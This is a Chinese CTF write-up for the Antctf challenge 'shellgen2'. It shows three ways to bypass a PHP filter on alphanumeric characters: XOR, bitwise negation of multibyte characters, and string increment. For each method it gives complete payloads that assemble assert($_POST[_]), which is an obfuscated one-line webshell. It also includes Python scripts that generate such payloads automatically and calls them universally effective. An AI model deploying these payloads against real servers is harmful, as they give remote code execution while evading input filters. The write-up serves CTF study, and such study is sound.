前言
在前几天刚举办完成的Antctf,团队成员糖醋排骨师傅完成了一道杂项题,这次比赛题目思路很新颖,属实很有意思。下面是misc2-shellgen2,通过提交py脚本去绕过waf从而getflag,这类misc倒是很少见。
三种方法:异或,取反,a自增
异或测试
两者ASCII码转成二进制,两者进行异或,出字母
<?php
echo "5"^"Z";
?>
这个会输出 o,这就代表了能够构造出字母。
$_ ++;
这个东西我们需要说一下,在 php 语法中,未定义的变量,php 会给他赋默认值 NULL==0 。因此,我们利用这个特性可以一步一步的叠加,实现从 0 到 9
<?php
$_++;
echo $_;
?>
<?php
$_;
echo $_ == NULL; echo $_ == 0;
?>
这个的结果是 1,表示 true
这样利用异或就可以取所有的字母和数字了
当然我们也可以利用 url 进行编码
<?php
function u($x){
return urldecode($x); }
$_=(u('%07')^'`').(u('%05')^'`').(u('%14')^'`').(u('%1B')^']').(u ('%0C')^'`').(u('%01')^'`').(u('%07')^'`');
var_dump($_);
?>
这里就是根据异或构造出了 getFlag 字段
异或原理剖析:
相同为 0,不同为 1
异或的对象,ASCII 转成二进制,进行异或,异或结果的二进制,转成 ASCII,之后再替换成字母
payload:
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').(' %14'^'`'); // $_='assert'; $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__=' _POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
取反测试
print("和".encode('utf8')) b'\xe5\x92\x8c'
原理:
“和”的第三个字节的值为140[0x8c],取反的值为-141。负数用十六进制表示,通常用的是补码的方式表示。负数的补码是它本身的值每位求反,最后再加一。141 的16进制为0xff73,php中chr(0xff73)==115,115 就是s的 ASCII值
<?php
$_="和";
print(~($_{2}));
print(~"\x8c");
?>
输出结果为 s s
payload:
<?php
$__=('>'>'<')+('>'>'<');//$__2 $_=$__/$__;//$_1
$____=''; $___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___=" 和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半 ";$____.=~($___{$_});$___="始";$____.=~($___{$__});//$____=assert $_____='_';$___="俯";$_____.=~($___{$__});$___="瞰 ";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站 ";$_____.=~($___{$_});//$_____=_POST
$_=$$_____;//$_=$_POST
$____($_[$__]);//assert($_POST[2])
a自增
第三种方法,php语言本身漏洞
1.’a’++ => ‘b’,’b’++ => ‘c’,我们只要能拿到一个变量,其值为 a,通过自增操作即可获得 a-z 中所有字符。
2.数组(Array)的第一个字母就是大写 A,而且第 4 个字母是小写 a。在 PHP 中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为 Array。再取这个字符串的第一个字母,就可以获得’A’。
<?php
$_=[];
$_=@"$_"; // $_='Array'; echo $_;
payload
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $__++;$__++;$__++; // O
$____.=$__;
$__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
额外的知识点:PHP 中的短标签
<?=?>则是相当于<? echo>
自增的做法:
base='<?php $_=[].[];$__=0;$__++;$__++;$__++;$_=$_[$__];$____=$_;'
s=input()
par='_09'
a = {}
for i in range(3):
for j in range(3):
for p in range(3):
a[chr(97+p+j*3+i*3*3)]="$_"+par[i]+par[j]+par[p]
keys = list(a.keys())[1:-1]
for i in keys:
base=base+'$_++;'
base=base+a[i]+'=$_;'
base+='?>'
for i in s:
base=base+'<?='+a[i]+';?>'
print(base)
这是另一个队伍的exp,利用了短标签的方法
target=input()
result="<?php $_=[];$_.=[];$_.=[];$_.=[];$_.=[];$_.=[];$__=$_[9+9];$____=$_[9+9+9];"
for c in target:
num1=ord(c)-ord("a")
num2=ord(c)-ord("r")
if num2>=0:
result+="$_=$____;"
num=num2
else:
result+="$_=$__;"
num=num1
payload="$_++;"*num;
result+=payload
result+="$___.=$_;"
result+="?><?=$___;"
print(result)
总结
文末的两个exp分别是利用自增和短标签进行绕过,以后不管web或者类似题目直接上脚本就好,通杀。
来源:freebuf.com 2021-03-10 13:53:22 by: 星云博创科技有限公司
请登录后发表评论
注册